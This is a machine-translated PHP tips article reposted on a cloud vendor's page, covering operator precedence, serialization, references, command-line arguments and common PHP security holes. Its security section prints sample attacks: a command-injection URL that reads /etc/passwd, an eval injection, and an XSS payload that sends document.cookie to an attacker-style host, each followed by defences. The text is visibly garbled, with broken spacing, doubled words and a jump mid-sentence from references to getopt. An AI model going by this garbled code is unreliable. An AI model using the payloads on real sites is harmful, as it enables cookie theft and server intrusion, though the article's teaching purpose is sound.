PHP programming considerations

Source: Internet
Author: User
Tags form post
1. php implicit ternary operators (? :) Priority problem: Example 1: $ person = $ whoor $ person = & quot; laruence & quot; // is actually equivalent to: $ person = emptyempty ($ who )? & Quot; laruence & quot;: $ who; example 2 $ arr = array (1. php implicit ternary operator (? :) Priority problem: Example 1: $ person = $ who or $ person = "laruence"; // is actually equivalent to: $ person = emptyempty ($ who )? "Laruence": $ who; example 2 $ arr = array (1 => 1, 3 => 3); $ I = 2; $ a = 'test '. isset ($ arr [$ I])? $ Arr [$ I]: $ I; $? This problem is simple at first glance. $ a = 'test2'; in fact, after careful scrutiny, the result is notice: Undefined index 2 .. due to the problem of priority, the priority of the connector is higher than that of the ternary operator. The first is to judge that the string 'test'. isset ($ arr [$ I]) is always true, so: $ a = $ arr [$ I]; prompts a prompt in php. 2. PHP function names and class names are case-insensitive, while variable names are case-sensitive. Therefore, php modules written by myself are often capitalized and cannot be compiled. 3. serialize () compresses complex data types into a string to encode the variables and their values into the text form unserialize () restore the original variable $ stooges = array ('Moe', 'Larry ', 'Curly'); $ new = serialize ($ stooges); print_r ($ new); echo"
"; Print_r (unserialize ($ new); result: a: 3: {I: 0; s: 3:" Moe "; I: 1; s: 5: "Larry"; I: 2; s: 5: "Curly";} Array ([0] => Moe [1] => Larry [2] => Curly) when the serialized data is placed in a URL and transmitted between pages, you need to call urlencode () to ensure that the URL metacharacters in the URL are processed: $ shopping = array ('Poppy seed bagel '=> 2, 'plain Bagel' => 1, 'lor' => 4); echo 'next '; the settings of the margic_quotes_gpc and magic_quotes_runtime parameters affect the data transmitted to unserialize. If magic_quotes_gpc is enabled, stripslashes () must be used to process the data transmitted in URLs, POST variables, and cookies before Deserialization: $ new_cart = unserialize (stripslashes ($ cart); // If magic_quotes_gpc is enabled $ new_cart = unserialize ($ cart); if magic_quotes_runtime is enabled, before writing serialized data to a file, you must use addslashes () for processing. before reading these data, you must use stripslashes () for processing: $ fp = fopen ('/tmp/cart', 'w'); fputs ($ fp, addslashes (serialize ($ a); fclose ($ fp ); // If magic_quotes_runtime is enabled $ new_cat = unser Ialize (stripslashes (file_get_contents ('/tmp/cart'); // If magic_quotes_runtime is disabled $ new_cat = unserialize (file_get_contents ('/tmp/cart ')); when magic_quotes_runtime is enabled, the serialized data read from the database must also be processed by stripslashes (). The serialized data saved to the database must be processed by addslashes, in order to be properly stored. Mysql_query ("insert into cart (id, data) values (1 ,'". addslashes (serialize ($ cart )). "')"); $ rs = mysql_query ('select data from cart where id = 1'); $ ob = mysql_fetch_object ($ rs ); // If magic_quotes_runtime is enabled $ new_cart = unserialize (stripslashes ($ ob-> data); // If magic_quotes_runtime is disabled $ new_cart = unserialize ($ ob-> data ); when an object is deserialized, PHP automatically calls its _ wakeUp () method. This allows the object to re-establish various states that are not retained during serialization. For example, database connection. 4. references in PHP means that different names are used to access the content of the same variable. References are not C pointers (the pointers in C language store the content of variables, the address stored in the memory) is another alias or ING of the variable. Note that in PHP, the variable name and variable content are different, so the same content can have different names. The closest analogy is the Unix file name and the file itself ?? The variable name is a directory entry, while the variable content is the file itself. References can be seen as a shortcut for close connections or wins in Unix file systems. 1) unset a reference only disconnects the binding between the variable name and the variable content. This does not mean that the variable content is destroyed. for example, the variable content is not unset $ B, but $. 1) {print_r ($ argv);} run/usr/local/php/bin/php in the command line. /getopt. php-f 123-g 456 running result: #/usr/local/php/bin/php. /getopt. php-f 123-g 456 Array ([0] =>. /getopt. php [1] =>-f [2] => 123 [3] =>-g [4] => 456) method 2 use the getopt function () $ options = "f: g:"; $ opts = getopt ($ options); print_r ($ opts ); run/usr/local/php/bin/php in the command line. /getopt. php-f 123-g 456 running result: Array ([f] => 123 [g] => 456) method 3 prompt user input, and then obtain the input Parameters. A bit like C language fwrite (STDOUT, "Enter your name:"); $ name = trim (fgets (STDIN); fwrite (STDOUT, "Hello, $ name! "); Run/usr/local/php/bin/php./getopt. php in the command line to run the result Enter your name: francis Hello, francis! 7. php strings can be used as arrays, which are the same as c pointer strings. Result 10345 8. PHP efficient writing: see: PHP efficient writing (detailed reasons) 9. PHP Security vulnerabilities: PHP websites are vulnerable to the following attacks: 1. Command Injection) in PHP, the following five functions can be used to execute external applications or functions system, exec, passthru, shell_exec, and "(same as shell_exec) such: We submit http://www.test.com/ex1.php?dir=| Cat/etc/passwd, the command is changed to system ("ls-al | cat/etc/passwd"); we have stolen the server user information. 2. the eval Injection Eval function executes the input string parameters as PHP program code. eval Injection usually occurs when attackers can control the input string. $ Var = "var"; if (isset ($ _ GET ["arg"]) {$ arg = $ _ GET ["arg"]; eval ("\ $ var = $ arg;"); echo "\ $ var = ". $ var ;}?> When we submit http://www.sectop.com /Ex2.php? Arg = phpinfo (); the vulnerability is generated; methods for preventing command injection and eval injection 1). try not to execute external commands. 2) use a user-defined function or function library to replace the functions of external commands. some servers may not directly use these functions. 3) use the escapeshellarg function to process command parameters. the esacpeshellarg function will escape any character that causes the parameter or command end, and replace the single quotation mark (') with "\". double quotation marks ("") and semicolons (;) are replaced with "\;". 3. client Script attack (Script Insertion) step 1) attackers can log on to the website after registering an ordinary user. 2) open the message page and insert the attacked js code. 3) other users can log on to the website (including the administrator) and browse the content of the message. 4). JavaScript code hidden in the message content is executed. if the attack succeeds, enter some scripts that can be executed by the browser: insert script while (1) {windows. open ();} insert the script location in the infinite bullet box of script. href =" http://www.sectop.com "; The best way to jump to a phishing page in script to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to convert some strings into html entities. 4. Cross-Site Scripting (XSS): a malicious attacker inserts malicious html code into a Web page. when a user browses this page, the html code embedded in the Web is executed for the special purpose of malicious users. Cross-site scripting is mainly used by attackers to read cookies or other personal data of website users. Once attackers obtain the data, they can pretend to be the user to log on to the website, obtain the permissions of this user. Common steps for cross-site scripting attacks: 1) the attacker sends an xss http link to the target user in a certain way, for example, comment form: insert script document. location = "go. somewhere. bad? Cookie = + "this. cookie" script "or link: http: // w. my. site/index. php? User = <script> document. location = "http: // w. atacker. site/get. php? Cookie = "+ document. cookie; </script> 2) the target user logs on to the website and opens the xss link sent by the attacker during the logon. 3) the website executes the xss attack script. 4) the target user page jumps to the attacker's website. The attacker obtains the target user information. 5) the attacker uses the target user information to log on to the website, the best way to prevent malicious HTML tags from attacks is to use htmlspecailchars or htmlentities to convert some strings into html entities. 5. SQL injection attacks (SQL injection) the most effective way to defend against SQL injection is to use the prepared statement: the prepared statement (also called the prepared statement prepared statements), which is a query, first, they are sent to the server for pre-compilation and preparation, and the location of the stored parameters will be told when the query is executed in the future. Advantages: 1) escape parameter values. Therefore, you do not need to call a string like mysqli: real_escape_string or put the parameter in quotation marks. 2) when a script is executed multiple times, the performance of the prepared statement is usually better than that of the prepared statement sent through the network each time. when a query is executed again, only the parameters are sent to the database, this consumes less space. 1) use PDO (PHP Data Objects): php pdo: prepare () and execute () $ preparedStatement = $ db-> prepare ('Insert INTO table (column) VALUES (: column) '); $ preparedStatement-> execute (array (': column' => $ unsafeValue); 2) use mysqli: $ stmt = $ dbConnection-> prepare ('select * FROM employees WHERE name =? '); $ Stmt-> bind_param ('s', $ name); $ stmt-> execute (); $ result = $ stmt-> get_result (); while ($ row = $ result-> fetch_assoc () {// do something with $ row} 6. Cross Site Request Forgeries (CSRF) 7. Session Hijacking 8. Session Fixation 9. HTTP Response Splitting 10. File Upload Attack) 11. Directory Traversal vulnerability 12. Remote file Inclusion attack 13. dynamic function injection attack (Dynamic Variable Evaluation 14. URL attack 15. Spoofed Form Submissions 16. Spoofed HTTP Requests. ini options: register_globals, magic_quotes, and safe_mode. These options will be discarded in php5.4. Register_globals: php> = 4.2.0, php. the default value of the register_globals option of ini is Off. when register_globals is set to On, the program can receive various environment variables from the server, including the variables submitted by the form, in addition, PHP does not need to initialize the variable value in advance, which leads to great security risks. Make sure to disable register_globals. If register_globals is enabled, you may do some careless things, such as replacing the GET or POST string with the same name with $ variable. By disabling this setting, PHP forces you to reference the correct variables in the correct namespace. To use a variable from Form POST, you should reference $ _ POST ['variable']. In this way, the specific variable will not be misunderstood as a cookie, session, or GET variable. Safe_mode: Safe Mode. PHP is used to restrict access to documents, restrict access to environment variables, and control the execution of external programs. Php must be set when security mode is enabled. in ini, safe_mode = On magic_quotes is used to automatically escape the input information of the php program. all single quotation marks ("'"), double quotation marks ("), and backslash (" \ ") and NULL characters (NULL) are automatically added with a backslash to escape magic_quotes_gpc = On to set magicquotes to On, which will affect the HTTP request data (GET, POST, Cookies) programmers can also use addslashes to escape the submitted HTTP request data, or use stripslashes to delete the escape.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.